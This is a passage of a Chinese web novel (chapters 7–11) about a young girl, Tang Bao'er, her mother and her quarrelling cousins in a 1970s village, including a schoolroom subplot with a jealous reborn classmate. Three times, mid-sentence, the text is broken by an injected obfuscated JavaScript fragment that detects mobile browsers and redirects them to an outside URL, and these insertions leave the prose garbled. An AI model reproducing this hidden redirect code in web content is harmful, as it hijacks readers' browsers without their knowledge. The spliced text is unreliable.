林丹红头也没抬,“哪里旧了?不是还能穿?我瞧着挺好。” “你瞧这里都快要磨破了,还有这,这里……”晓巧扯着膝盖和手肘的补丁给她看。 “娘,你给我做一身新衣服呗,去年过年你就没给我做衣服,旁人家的小孩都有新衣服。” 林丹红睨她一眼,“你当买布料不要钱不要布票?想要做新衣服,哪里是那么容易的。” “四婶都给宝儿做新衣服了,你也给我做一身新衣服嘛,好不好……”晓巧拉着她的衣角撒娇道。 林丹红本来就烦着,她不提姚秋月还好,一提林丹红就气不打一处来,“新衣服,做梦呢你,先不说家里没布票,有了布票,也得先紧着你爹,再是你弟弟,一个女娃子赔钱货,做什么新衣服,做了也是浪费!” “你瞧见你四婶给唐宝儿做衣服你眼红了?!眼红就去给你四叔四婶当闺女去啊,想要新衣服,我告诉你门都没有!” 林巧红劈头盖脸的一顿骂让晓巧怔愣了好一会,赔钱货三个字像是一盆冻了好几年的冷水,迎头浇下来将她浑身浇了个透心凉,她抿着嘴唇呆站在原地好一会,眼睛泛酸,才捂着脸跑了出去。 “呜呜呜……” 她刚跑出去没几步就撞上了唐宝儿。 她已经穿上了姚秋月给她做好的新衣裳,鲜活的黄色明亮恬静,乌黑发亮的头发梳成了两个整整齐齐的辫子,粉雕玉琢,白净可爱。 看着甚至不像他们这穷山远水养出来的孩子。 再对比自己,一身早已经洗得发白的蓝色的旧衣服,已经是两三年前的剪裁样式,膝盖处还打了两个难看的补丁,头发也是自己梳的松松垮垮的。 一阵委屈怨恨涌上心头,本来晓巧新衣服没戏了,被林丹红骂了一通,心里就很难受,现在又看见这样鲜明的对比,心里更是被狠狠地刺激了一下,她眼泪肆流,用怨恨的眼神盯着唐宝儿。 唐宝儿被她这眼神看得发毛,“晓巧姐姐,你怎么了,是谁欺负你了?” 晓巧不愿意回答,她看着唐宝儿,手上使了劲,将她推倒在地上。 8. 第8章 公社的前头大街上摆起了皮影戏,大人对这个是不太感兴趣的,但耐不住这年头孩子的娱乐少,看过的孩子回来了给没看过的孩子讲那皮影戏的精彩故事,可眼馋坏了没看过的孩子,纷纷跟家里大人吵着闹着也要去看皮影戏。 “宝儿,反正这几天没事要忙,娘带着你去看皮影戏好吗?” 唐宝儿闻言,捻毛线的手停顿了下,目光惊喜地看着姚秋月。 家里的哥哥姐姐都看过了,唐宝儿早就想看了,就是没好意思跟爹娘提。 “好啊。” 第二天,姚秋月母女俩吃过早饭,就准备上街了,日头已经从绿桂山那边升起来,照着村庄和大地。 大概是今年雨量充足,粮食来了个大丰收,公社的集上热闹得很,不少庄稼人在出售自家的瓜果蔬菜。 卖麦芽糖的老伯面前挤满了乌泱泱的人,五分钱一个,发出"叮——叮——当"的清脆金属声,吆喝着:“麦芽糖~麦芽糖咯~” 黏黏甜甜的麦芽糖用竹签串着,透着股麦芽的香甜气息,姚秋月一共买了俩,跟闺女一人一个。 来得早不如来得巧,今天的皮影戏演的正是《大闹天宫》,唐宝儿最喜欢听西游记的故事了,扒拉着前面的围栏,屏息静候,目不转睛。 木梆敲击的声响刺透昏黄的灯光,在灰白幕布下摇曳生姿。故事缓缓开始:话说在那东胜神洲,傲来国的近海,有一座名山,叫做花果山,山顶有一巨石裸露,自开天辟地以来,每受天真地秀,日精月华,竟然孕育仙胎,产一石猴…… 直到孙悟空最终被如来佛祖压在了五指山下,这一出大闹天宫真正的落下了帷幕,表演皮影戏的手艺人都退场了,唐宝儿才恋恋不舍地跟着姚秋月离开了。 “娘,皮影戏真好看。”唐宝儿心里有种说不出来的激动感觉,姚秋月给她讲过好几次西游记的故事,但当故事中的人物忽然以皮影的形象出现在自己面前,唐宝儿是那样的感到激动和新奇。 姚秋月也看了个新鲜,脸上带着笑意,“饿了吧?咱们寻个阴凉的地方把午饭吃了,再到集市上看看能不能买点毛线和茶叶。” 唐宝儿早已经是饥肠辘辘,“好嘞。” 正好前边有棵阴凉的榆树,一阵风吹过,空气中飘着淡淡榆钱的味道。 唐宝儿搬来两块石板和姚秋月坐下了,午饭是从家里带过来的高粱馒头,里边还夹着咸酱,母女俩一人喝了一口水,姚秋月还带了半根黄瓜,姚秋月和唐宝儿一口黄瓜一口馒头,这就是娘俩的午饭了。 吃完午饭,姚秋月要到集市上去买毛线和茶叶。 唐宝儿刚起来没走两步,鞋带就断了,她穿的是那种塑胶的凉鞋,她这个年纪的孩子大多数都调皮好动,每日不是爬树掏鸟就是下河捞鱼,运动量很大,唐宝儿的鞋带已经崩断过了好几回,但都用烧红的火夹钳给重新烫了接上去了。 现在鞋带已经越来越短,再烫也接不上了。 唐宝儿干脆将鞋子脱了下来,就要光着脚走,村子里有不少小孩也不爱穿鞋,但唐宝儿不穿鞋还挺不适应的,她觉得裸露在地面上的砂石硌得慌。 “娘背着你走。”姚秋月在她面前蹲下身来。 唐宝儿哪里好意思,她都五岁了,体重也不像两三岁的小孩子,“娘,我自己走就好了。” “没事的,快上来。” 唐宝儿听到这话,只好拎着鞋子爬到了姚秋月的背上。 姚秋月的肩膀没有唐实的宽阔,她本来就不是那种大骨架的女人,天气太热了,她散落的细碎发丝粘在额头上,因为前段时间的农忙也晒黑了很多,看起来就像是一个有些狼狈的农村妇女。 “姚秋月?”穿着一身剪裁合身的蓝色制服的男人站在她的不远处,手里提着烟酒,神色震惊。 姚秋月听到男人的声音,原本平静的脸色忍不住浮上一丝自卑和尴尬,她没想到自己会在这里碰上他,还是以这样的形象被他尽收眼底。 过了很久,她张了张干涩的嘴唇,终于还是开口,“好久不见。” “好久不见。” 高中时期的姚秋月,一双明亮如秋水的大眼睛,总是穿着一身整洁的白衫,梳着两根乌黑发亮的辫子,身上带着淡淡的馨香,知书达理,温文尔雅,是他们班级里所有男生的梦中女神。 而现在的她,穿着一身土布做的过时衣服,皮肤晒得黑红,毛糙的头发用一根绿头绳捆了起来,身上带着明显的劳动的痕迹,背上还背着一个孩子。 他盯着昔日恋人的脸,没想到当初那个他千辛万苦才能追到的女生已经彻彻底底变成了一个农村妇女! 他投向姚秋月的目光中,带着打量、不屑和鄙夷。 唐宝儿觉得他的眼神令人非常不舒服,忍不住上前一步,将姚秋月挡在了身后。 田佳明的目光才落到唐宝儿的身上,“这是你的女儿?” “嗯,这是我和我丈夫的女儿。” 田佳明不由得感慨道,“没想到你的女儿都这么大了。” “你这几年……过得好吗?” 姚秋月看到唐宝儿护在自己身前的背影,眼睛有些泛酸,却终于拾起一丝面对他的勇气,“挺好的,吃饱穿暖,我丈夫和家人都对我很好,我还有一个乖巧可爱的女儿。” “我能请你到街上的国营食堂吃顿饭吗?就当是老朋友叙叙旧,当年的事情,我一直感到很抱歉……” 她终于坦然地挤出微笑来,“不必了,我想我们以后也不必再见了。” 说完,她重新背上唐宝儿,朝着集市的方向去了。 田佳明看着她弯下的背影,久久不能释怀,但心里也不由得庆幸,如果不是他当初选择了正确的道路,他现在应该也成了一个面朝黄土背朝天的农民了。 为了一个这样的农村妇女抛弃光明的前途,那才是真正的不值当! 姚秋月带着唐宝儿到了供销社,重新给她买了一双凉鞋,至于原本的塑胶凉鞋则递给供销社折旧了,一共只花了两毛钱。 早已经远离了刚才那个令人难过的地方,她背靠着墙壁蹲在地上,想起来这些年经历的种种,流言蜚语,匆匆嫁人,从一个高中生变成了农村妇女,眼泪终究还是忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055404|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住流了出来。 直到一双温热的小手落在自己的脸上,帮自己擦掉肆意横流的眼泪,姚秋月忍不住抱住了闺女,“宝儿,我的宝儿……” …… 唐实下工回家时,顺便到山里摘了一束新鲜的野花。 姚秋月正在炕上理毛线,看到他回来,忙扯出一个笑容来。 “你回来啦,正好准备开饭了。” “媳妇,你眼睛怎么了?你哭过了?”唐实一眼就看到了姚秋月的不对劲。 “噢,就是和宝儿看完皮影戏,从公社回绿水村的时候被风刮了一下,吹起一阵沙子吹进眼睛里了,幸好宝儿帮我把沙子吹出来了。” 姚秋月接过他手里的花,虽然是野花,但五颜六色的很鲜艳,看着就心情好,还有淡淡的花香,“我去找个陶瓶装上。” 姚秋月正要起身离开,唐实便伸出长臂,将自家媳妇揽到了怀里,“媳妇,对不起,嫁给我让你受苦了。” 唐实的话落在耳边,姚秋月悄悄地揩了把眼泪,挤出笑容,“你这说的哪里话,你怎么就让我吃苦了?是你不嫌弃我是个名声不清白的女人,将我娶回了家,我嫁进家里以来,你对我好,事事以我为先,婆婆也体谅我,唐家就是我的福窝。” 姚秋月靠在唐实的怀里,一个轻盈的吻落在她的脸上。 姚秋月叫了唐宝儿进来,伸出胳膊将丈夫和女儿都抱在了怀里。 “只要咱们一家三口一直在一起,日子就一定会越来越好的。” 吃过晚饭,唐老三和侯松梅的大儿子成鸣将唐实叫到了院子里。 成鸣今年已经十岁,小小年纪性格却很沉稳,“四叔,那边的树林里有个男人蹲了半天了,他好像是跟着四婶和宝儿过来的。” 唐实的脸色瞬间沉了下来。 田佳明一路跟着姚秋月母女俩回来,就是想看看她到底嫁了个什么样的男人,这朵被他丢弃的高岭之花,最后又被哪个男人摘去了。 天色昏暗,一道人影挡住了光线,田佳明抬头一看,那双锐利的眸子,一身粗布麻衣,却给人强烈的压迫感。 他从地上起来,田佳明自己就是一米八的大高个,没想到这个男人竟然还比他高上半个头。 哪怕他现在已经是有稳定工作的干部,戴着一副金丝眼镜,看起来就是个文化人,在他面前,还是落了下风。 “你是什么人?”他强撑着硬气道。 他没有等来唐实的回答,一道拳头便击在了他的左脸上。 口中一阵血腥味蔓延,田佳明往旁边唾了口唾沫,“我跟你拼了!” 田佳明捡起根棍子就要跟唐实拼命。 唐实一把子力气,收拾田佳明这种人渣烂蒜自然不在话下,几轮交手下来,田佳明已经没了力气,被他压在脚下。 “饶命,好汉饶命!”田佳明伸手护住头求饶道。 唐实唾了一口,“再骚扰有夫之妇,我要你好看!” 唐实说完这话,才松开了拽着他衣领的手,田佳明生怕唐实又发起猛来再揍他一顿,连忙一瘸一拐的灰溜溜地走了。 9. 第9章 晓巧自从那日被林丹红骂了后,心里就赌着口气,她不愿意跟人说话,林丹红叫她做事也只当没听见。 昨晚刚下过雨,今天也是个阴天,感觉空气闷闷的不流畅,晓巧在院子里刷洗着衣服。 这套衣服是她最体面补丁最少的一套衣服,但是因为她放假穿着这身衣服去砍柴打猪草,上边沾满了草木树汁,东一块西一块的洗都洗不掉,晓巧又刮了一大勺碱面撒在污渍上,用力的又搓洗了一遍。 看着上边一动也没动的污渍,一阵无力的委屈涌上心头,晓巧眼睛泛了红,赌气地将衣服丢进了盆里。 “啪”一块石头被投进木盆中,污水混合着碱面被溅到了晓巧的脸上,还溅进了她的眼睛里,火辣辣的疼。 “啊”她捂住眼睛,直到溅进眼睛的污水和生理性的泪水一同流了出来,她才能睁开了眼睛。 丢石头的不是旁人,正是一脸得意的成新,他手里还拎着另一块石头,显然是故意的。 晓巧沉了脸色,看着嬉皮笑脸的成新,“你干什么?” “略略略~”他朝她扮了个鬼脸,不知道从哪里学来的,“赔钱货~” 晓巧忍不住攥紧了拳头,瞪了他一眼,“少教!” “少教少教你才少教,赔钱货有本事来追我啊!”说完,成新将另一块石头也扔了过去,正好砸中了晓巧的肚子。 她再也忍无可忍,拎起一旁的晾衣棍子就要打他。 成新哪里会站在原地等她来打,脚底抹油,一溜烟就跑没影了。 晓巧沉着脸把木盆里的石头捡了出来,衣服用清水洗干净晾了,出门到河边找到了洗衣服的晓梅和宝儿。 “唐成新简直欺人太甚了!我要给他个教训,你们要是也想一块教训他,就跟我一起。” 晓梅和宝儿看他不顺眼很久了,自然义不容辞。 成新暑假已经把她们几个都招了一遍仇,好几次要不是刘芬出来打和场,她们非要教训他一顿不可。 “但是我们得详细的制定个计划。”唐宝儿道,“前段时间,我跟晓梅姐在山里摘野果子时发现了一个用来捕猎的大坑,要是人掉下去没人发现肯定爬不上来,这也够他喝一壶了。” “只是要怎么样能把他引到后山呢?” 于是姐妹三人便到了一旁的榆树下,仔细地商议起计划来。 午时刚过,宝儿端着洗好的衣服回了家。 她刚把衣服晾上,便看到晓梅一脸神秘地走了进来。 “晓梅姐。” “嘘,宝儿,你猜我们暑假挖的那些药材一共卖了多少钱?” 唐宝儿脸上露出了惊喜的神情,“多少钱?” “一共有三块六呢,我把钱藏在山里的第六棵松树下,到时候咱们对半分,一人一块八,这能买好多好吃的了,鸡蛋糕、炸鸡腿、一口酥、奶糖……” 唐宝儿光是听着就感觉口水都要流出来了,忙应道,“好嘞,这是咱俩的秘密,可不能告诉其他人。” “对。” 两人的对话自然被藏在屋里的成新听了个正着,他忍不住偷笑了下,晓梅这个蠢货,他现在就去把钱偷了,让她们知道什么叫哭都没地哭。 …… 成新出门上了绿桂山,他到底对这山里不熟悉,找了半天,才数清了第六棵松树的位置。 刘芬虽说爱自己的两个儿子,但对于钱的方面还是管得严的,成新正是嘴馋的年纪,他想起来晓梅说的那些好吃的,忍不住咽了下口水。 成新迫不及待的便要去找她们藏钱的地方。 只是刚上前没两步,一脚踩空,他便狠狠地摔进了一个坑里。 “哎哟”成新被摔得七荤八素,眼冒金星,这一跤摔得实打实,差点吃了一嘴泥。 成新这才意识到自己是被晓梅这几个小蹄子耍了,一股怒气涌上胸腔,等他出去非得好好教训这几个不知死活的丫头不可! 当务之急是先出去,这个坑比他想象中的深得很,哪怕他手脚并用却还是根本爬不上去,也没有个能借力的藤蔓。 几次失败下来,他放弃了靠自己爬出去的想法,开始呼救,“有人吗?” “救命啊!快来人救救小爷!” 无人回应。 晓巧忍不住拍手叫好,“真是活该!咱们谁也别管他。” 唐宝儿站在中间,分别挽上两个堂姐的胳膊,“该让他吃点苦头,才能长教训,看他以后还敢不敢随便欺负人了。” “快下雨了,咱们快回去吧。” 晓巧看着自己被唐宝儿挽住的胳膊,脸色有点尴尬,但还是主动开口道歉道,“宝儿,对不起,我那日不该推你。” “没事!我根本就没放心上了,更何况你也只是轻轻的推了一下,我一点事都没有。”唐宝儿很大方地说道。 “那咱们就当和好了,什么事都没发生过。” 唐宝儿和晓巧便在晓梅的见证下握手言和了,“好。” “咱们回家里去吧,我还有糖咱们一起吃。” 堂姐妹三人开开心心地往家里去。 半山坡上,正在掏鸟窝的成和忽然停下了动作,“哥,我咋听着好像有人在喊救命呢?” 成鸣脸不红心不跳道,“有人吗?我怎么没听见呢?是你听错了吧。” “可能是吧,是风声也说不准。” “看着快要下雨了,先别动那鸟窝了,咱们先回去吧。” 成和听到哥哥的话,利索的从树上爬下来,“行嘞。” 天上已经响起了惊雷,乌云阵阵,豆大的雨点很快就降了下来。 唐宝儿躲在屋檐下,看着雨水落在水桶里,激起阵阵波纹。 刘芬一脸急色地走了进来,“有人瞧见我家成新了吗?这孩子咋下雨了都不着家,还在哪里疯跑呢!” “宝儿,你瞧见了吗?” “大伯母,我没看到过成新哥。” 姚秋月正收了衣服路过,看见唐宝儿的表情,知女莫若母,哪里不知道她又干了什么坏事,但也没有戳穿她,只是嗔了她一眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055405|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 唐宝儿殷切地对姚秋月笑笑,“娘,我帮你把衣服抱进屋里。” …… 成新被找到时那叫一个狼狈,头发和衣服都湿透了,身上还裹满了泥浆,冷得浑身发抖,刘芬心疼的给儿子洗了个热水澡,再换上了干净的衣服。 成新咬牙切齿,“都是那几个赔钱货骗我害我,娘,你一定要给我做主啊!如果不是她们说在山里藏了钱,我怎么会掉进那个坑里出不来!” “啥?”刘芬睁大了眼睛。 成新把他下午的时候是怎么样听到晓梅和唐宝儿的话尽数都讲给了刘芬听。 “绝对是那三个小蹄子在坑害我儿!新儿别怕,娘这就找你奶给你做主。” 刘芬怒气冲冲地拉着成新到了堂屋。 唐家人都在吃晚饭,看到刘芬这个架势,都有些不明所以。 “娘,你可一定要好好管管这几个丫头,她们可是要害人啊!兄弟姊妹平日里有个摩擦是正常,但她们也太恶毒了!害得成新跌进那个大坑里,吃尽了苦头,还撒谎骗人说没见过成新,娘,你可不能放任不管啊!” 陈老太搁下了手里的筷子,叹了口气,“你把事情经过仔细说一遍。” “奶,我听见晓梅跟宝儿说暑假卖了药材,把钱都藏在绿桂山的松树后了,谁知道竟然是她们两个在诓骗我,我去找结果跌进了一个两米的深坑里,不管我怎么用力都爬不上来,一定是她们合谋好要害我!” 唐宝儿站了出来,“成新哥,我跟晓梅姐确实是卖了药材,但我觉得把钱放在外面实在是不安全,就拿回来叫奶帮收着了,更何况,我们也不知道你在偷听啊,怎么是故意在诓骗你呢?再说了,你自己想着偷钱,结果因为贪欲吃了大亏,这关我们什么事?” “你!”成新被这小丫头堵得哑口无言,气得就要上前打她。 陈老太黑着脸撂了筷子,“够了!” “瞧瞧这都像什么样子,我还活着呢,他在这里张牙舞爪的就要打人!老大媳妇,你要么明天就带着你的两个儿子滚回城里去,要么就把成新留下来,你不管教让我来替你管教!” “娘,好歹成新也是你的孙子,虽然不在您的跟前长大,但您也不能偏心到这种程度啊,好歹我们每年都往家里寄钱,要不是我和老大在外面撑着……” “你还好意思提寄回来的钱,你可还记得为了让老大进棉纺厂工作,全家人为了凑钱给他找路子,整整一年都勒紧着裤腰带过活!你们这几年寄回来的那点钱,还没有把当年的窟窿给填上呢!” “行,既然这个家不欢迎我们,我明天就带着成润和成新回城里,看来以后也不需要再寄钱回老家了!” 刘芬嘲讽的丢下这句话后,便拂袖而去。 陈老太被气得两眼一黑,幸亏唐老三及时地搀扶住了她,陈老太才不至于一头栽倒晕过去。 陈老太掩面而泣,“我后悔啊,怎么就娶了这样的一个女人进门,两个孙子也被她教成这个样子!家宅不宁,我日后怎么有脸去见老头子!” 10. 第10章 晓巧醒来时,天已经大亮了,她揉了揉眼睛,看到就放在自己床头的衣服,有些惊讶。 新衣服?哪来的新衣服? 晓巧拿起来衣服看了眼,这是一件红色碎花的上衣,翻领的样式,黑色的扣子,还有一条红黑色格子的裤子,透着股新衣服的香气,而且这正好是她的尺寸。 这是给她的新衣服?晓巧心情很激动,她忙从床上跳下,将原本身上打着补丁的旧衣服换下了,穿上了这套红色碎花的新衣服。 柔软透气的布料穿在身上,她翻出来自己一直舍不得绑的红色丝带头绳,两指并用给自己扎了两根黑亮亮的牛角辫,晓巧站在镜子前,来来回回的照了许多遍镜子,高兴得差点要手舞足蹈起来了。 这个衣服的剪裁款式正是时下流行的。 而且这是新衣服,一个补丁都没有,闻起来有种令人舒适的馨香。 晓巧满意地转了个圈,兴高采烈的出门了,在河边找到了摸鱼的晓梅。 “姐,这衣服是你给我做的吗?” 晓梅看她高兴的模样,点了点头,“嗯,你不是一直想要一套新衣服吗?我到公社买了布料回来,让四婶帮忙着给做的。” “你哪来的钱?” “我跟宝儿暑假挖药材卖得来的钱对半分了,布票是奶给我的!” 晓梅知道妹妹从小只能捡自己再穿了一道的旧衣服穿,一直很希望能做一身新衣服,虽然晓巧平时有什么心事全自己藏在心底,姐妹俩也没有很亲近,但晓梅还是疼爱自己这个妹妹的。 “那钱你不是给奶了吗?”晓巧想起来那天唐宝儿说的话。 “奶又还给我们了。” 要不是晓梅在河里,晓巧真想抱住她狠狠地旋转两圈,眼眶泛了红,“晓梅,我的姐姐,你真不愧是我的亲姐姐!晓梅万岁!” …… 随着时间来到了九月份,天气稍微凉快了一点,1975年的秋季学期也开始了。 天蒙蒙亮,唐宝儿就醒了,她熟练地从床上爬起来,把被子叠好,穿衣服洗漱,今天终于可以正式的穿上她的新衣服了。 唐宝儿五官精致,脸尖尖的小小的,皮肤白,朝气温暖的嫩黄色穿在她的身上格外的好看,唐宝儿到院里子时,正巧碰见林丹红在刷牙,便叫了声二伯母。 林丹红转过头只当没听见。 林丹红心里那叫一个不舒坦,这个野丫头也开始上学了,晚两年再上能咋?又是一笔不小的支出! 早饭是熬得又香又稠的玉米碴子粥,配上前段时间腌的酸菜这个时候吃正好,切成了丝儿,再蘸上一点老酱,开胃又爽口,几个孩子都吃得可香了,再啃上两块高粱面馒头,嘴一抹就上学去了。 绿水村小学就建在村西头的那座山坡上,是几间宽敞明亮的大教室,尽管刚上一年级,但小学就在村子里,这个地方对于村里的小孩来说早就熟悉得不得了。 唐宝儿背着花布书包,跟着几个哥哥姐姐一起到了学校报道。 转角的第一间教室门口,用红纸写了“报道处”三个字贴在门上,唐宝儿、成和、成孝都是一年级的新生,晓梅和成鸣开学就读五年级了,晓巧是四年级。 唐宝儿是家里年纪最小的,她也开始上学了,唐家的几个孩子就全都上学了。 他们排着队挨个进行报道。 唐宝儿他们的班主任高老师是一个二十几岁的女人,她戴着一副眼镜,在面对犯错的学生时会非常严厉,但很多时候都是笑眯眯的,是一位美丽知性的女性。 “学名叫什么?” 唐宝儿想起来其实她还有个大名叫唐絮,不过很少有人会叫她大名,大多数都是直接叫她唐宝儿,她刚想回答老师,成和就已经帮她抢答了,“老师,她叫唐宝儿!” 唐宝儿就看着高老师在那个报道的表格上写下了“唐宝儿”三个字,她歪了歪嘴,想着也只是上个小学,唐宝儿就叫唐宝儿吧。 唐宝儿去了一年级的教室,教室很宽敞明亮,摆着十多张课桌和十多张双人板凳,课桌是双人的长桌,没有抽屉,但是桌底下的大窟窿可以用来放书包,讲堂的上方贴着红纸黑字的“好好学习,天天向上”四个字,黑板前方是一张被称为讲台的课桌,凌乱的放着粉笔和抹布。 里面已经坐着好几个小孩了,都是本村的孩子,黑溜溜的眼睛中都带着新奇,他们虽然平时会跑到村小学附近玩乐,但这还是他们第一次以学生的身份坐在教室里。 成和不愿意跟成孝坐一块,就跟唐宝儿当了同桌。 然是陌生的环境,但唐宝儿心里还有些激动,娘说只有读书才有出路,唐宝儿一直记着这句话,今天是她开学的第一天,她以后要好好学习,才能报答辛苦养育自己的爹娘。 唐宝儿看到其他小孩都把书包解下来放进了桌斗里,她也跟着把书包放进了里面。 上午九点的时候,高老师进来给他们开了个班会,并且让他们都起来做了个自我介绍。 村里的孩子们哪里听说过什么叫自我介绍,于是高老师就打头阵先自我介绍了一番,轮到了学生们,都不太好意思,匆匆说了一句大家好,我叫xxx便飞快地坐下了,脸涨得通红。 做完自我介绍,高老师随手点了几个同学起来帮忙发教材。 一共是四本教材,《算术》、《语文》、《音乐》和《图画》。 唐宝儿的文具姚秋月早就给她买好了,有两支铅笔、一块橡皮还有一把尺子。 她小心翼翼地将书的封面打开,扑面而来一股墨香味,她忍不住低头再闻了闻,最后才郑而重之的在书的扉页用铅笔写上“唐宝儿”三个字。 从今天开始,她就是一名正式的小学生了。 “宝儿,你会写自己的名字啊?”成和看到唐宝儿写字,瞪大了眼睛。 “噢,我娘教我的。”姚秋月毕竟是高中毕业,在家的时候教过唐宝儿怎么握笔写自己的名字。 “那我的名字咋写,你教我呗?” 唐宝儿小脸皱成一团,“不好意思成和哥哥,我不会写你的名字。” 其中一个女生听着他们的对话,看着唐宝儿的背影若有所思。 上午就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055406|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样过去了,绿水村小学不供应午饭,孩子们也不带饭,中午就跑回家里吃。 经过一个上午,班上同学打打闹闹的,很快就互相认识了,他们本来也是一个村里的孩子。 唐宝儿远远的就看见了门口的姚秋月,兴高采烈地,“娘!” “慢点跑。” 今天家里轮到姚秋月做饭,晌午没到就把饭菜做好了,蒸了几个白薯和高粱面馍馍,还煮了丝瓜汤,几个孩子和干活的大人吃了后,孩子们又往学校里跑了。 …… 吴春红是绿水村吴建设的二闺女,她也是绿水村小学的一年级新生,吴春红也是前几个月才知道自己是重生了的,上辈子她跟这个唐宝儿也是同学。 唐宝儿命真好,本来就是一个来路不明的弃婴,被唐家四房收养了,唐老四夫妻俩没孩子,拿她跟命根子似的,后来赶上了好时候,做生意发了一笔财,唐宝儿还考上了大学,走出了这山沟沟的绿水村,彻底过上了好日子! 自己却过得十分凄惨,初中就辍学了,她后来进了城里打工,好不容易碰上了一个喜欢的年轻优秀的男人,结果却发现了那个男人竟然是唐宝儿的对象,跟她手牵着手,嘘寒问暖,呵护备至,那贴心的模样让她看一眼都难受至极。 她不想活了怀里揣着刀想要去跟唐宝儿同归于尽,却没想到自己被绊了一下,怀里的刀把自己给扎死了。 吴春红没想到的是,自己竟然重生了。 想起那个男人,吴春红心里恨得抽抽。 这辈子,她要把那些都抢过来! 下午两点,高老师开始给他们上课,“同学们把书翻到第二页。” “我先给大家念一遍课文,接下来同学们再跟着我念一遍。”这是人民教育家陶先生曾经作过的一首儿歌,“人有两个宝,双手和大脑,双手会做工,大脑会思考。用手又用脑,才能有创造。” 吴春红想起来上辈子,高老师在教了他们念了一遍后,又开始随机抽人起来念这篇课文,其他人都念得磕磕巴巴的,不流利的普通话夹杂着方言,唯独唐宝儿起来完整的将这一篇课文读了出来,让班级里的同学都佩服得不得了。 所以在这一次高老师开始抽人起来念书时,吴春红非常积极的举起了手。 高老师在班级上的同学里转了圈,“唐宝儿同学,你来把老师刚才教的课文念一遍。” “好的老师。”唐宝儿从座位上起来,她的声音虽然还是带着股稚嫩的童气,但很清澈,听起来很舒服,“人有两个宝,双手和大脑,双手会做工,大脑会思考。用手又用脑,才能有创造。” “唐宝儿同学读得很标准,很好。” 高老师竟然夸奖她了,唐宝儿有些不好意思的红了脸。 下课之后,唐宝儿周围的同学都围了过来,连成和也忍不住一直夸她,“宝儿,你可真厉害!不仅会写名字,课文还念这么好!” 吴春红看着出尽风头的唐宝儿,愤愤不平,明明她也举手了,她就知道从上辈子开始,高老师这个嫁不出去的老女人一直在偏心这个野丫头! 11. 第11章 唐宝儿第一天上学,心里有种说不出来的兴奋,尽管下午已经看过好几遍课本,但趁着姚秋月点煤油灯补衣服,唐宝儿还是忍不住将课本重新拿了出来翻看,她很喜欢闻那书本上的油墨香气。 姚秋月补着一件衣服,看到她这模样忍不住笑了。 “今天第一天上学,感觉怎么样?” 唐宝儿想了一下,第一天成为小学生,感觉心里有种说不出的激动和新奇,“说不上来,就是很新鲜,胸口像是有一头小鹿在乱撞一样。” “宝儿,以后可要坚持好好学习啊,只有学习才是人生唯一的出路。” 唐宝儿将她的话听进去了,点了点头,“娘,我一定会的。” 姚秋月已经补好了衣服,她想起来箱子底下还有几张牛皮纸,“娘给你的课本都包上书皮,这样就不容易弄脏弄破了。” 油灯下,姚秋月用剪刀把牛皮纸裁成合适的大小,有条不紊裁剪折叠,然后郑重用钢笔在封面写上“算术”“语文”等学科名,再在扉页写好班级和名字,唐宝儿看着姚秋月坚韧的侧脸,心里忍不住想,她的娘可真好。 唐宝儿在村子里也见过不少其他人的娘,但是他们的娘都不如她的娘好,就用晓梅姐姐和晓巧姐姐的娘——二伯母来说,二伯母对两个姐姐从来都是板着张脸的,只会吩咐她们做事情,也不给她们做新衣服,不给她们好吃的,把所有的偏爱都给了成孝。 唐宝儿小的时候发烧,是她的娘抱着她去了医院,喂她喝粥,给她盖被子,一个晚上都不睡觉的守着她,她的病好了,可是却把她娘给累坏了,眼圈下边都是乌青的。 从那之后,唐宝儿就再也不敢生病了。 她的娘是这个世界上最最好的娘。唐宝儿忍不住心里想。 “在看什么?”姚秋月自然注意到了闺女的目光。 “在看娘,娘真好看。” 孩子稚嫩的童声把姚秋月心里哄得一阵甜,忍不住嗔了她一眼,“净瞎说!” 包好的书还要放在写字台的玻璃下压上一晚,这样会更平整贴合,姚秋月的手巧,包的书皮也特别好看,每个角都折得很工整。 “宝儿,还要继续看书吗?”姚秋月问。 唐宝儿忙摇了摇头,她知道灯油可贵得很呢,还要煤油票,要不是为了给爹爹补衣服姚秋月也舍不得点,“我不看了,反正已经看过好几遍了。” 唐宝儿偎进姚秋月的怀里,嗅着她身上淡淡的馨香,“娘,你给我讲三打白骨精的故事呗。” 姚秋月上过高中,看过许多小说,她将这些小说分成了一个个的小故事讲给闺女听,唐宝儿最喜欢听娘讲故事了,每次都听得入迷。 “好,娘给你讲。”姚秋月将女儿搂进怀里。 唐宝儿温顺依赖的靠在姚秋月温暖的怀里,听着孙悟空斩妖除魔的故事,做了一个个新鲜有趣的梦。 次日唐宝儿拿着包上书皮的书出来时,班级上的同学都忍不住围了过来。 